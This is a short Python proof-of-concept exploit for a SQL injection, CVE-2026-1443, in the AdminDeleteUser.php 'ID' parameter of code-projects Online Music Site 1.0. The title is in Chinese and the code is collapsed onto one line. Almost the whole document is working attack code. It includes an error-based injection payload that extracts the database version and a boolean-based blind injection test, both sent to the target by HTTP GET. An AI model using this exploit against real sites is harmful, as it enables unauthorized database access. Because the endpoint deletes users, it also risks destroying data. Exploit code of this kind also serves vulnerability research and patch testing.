CVE-2026-1443: code-projects Online Music Site 1.0 AdminDeleteUser.php SQL注入漏洞

import requests import sys # CVE-2026-1443 SQL Injection PoC # Target: code-projects Online Music Site 1.0 # Vulnerable File: /Administrator/PHP/AdminDeleteUser.php # Parameter: ID def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in AdminDeleteUser.php Args: target_url: Base URL of the target site payload: SQL injection payload """ # Construct the vulnerable URL vuln_url = f"{target_url}/Administrator/PHP/AdminDeleteUser.php" # Send malicious request with SQL injection payload params = {'ID': payload} try: response = requests.get(vuln_url, params=params, timeout=10) print(f"[*] Sending payload: {payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2026-1443.py <target_url>") print("Example: python cve-2026-1443.py http://localhost/online-music-site") sys.exit(1) target = sys.argv[1].rstrip('/') # Basic detection payload print("[*] CVE-2026-1443 SQL Injection Test") print("[*] Target:", target) # Test with error-based SQL injection payload = "1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x7e,VERSION(),0x7e,FLOOR(RAND(0)*2)) AS x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) AS y)-- -" exploit_sqli(target, payload) # Boolean-based blind SQL injection test payload = "1' AND 1=1-- -" exploit_sqli(target, payload) if __name__ == "__main__": main()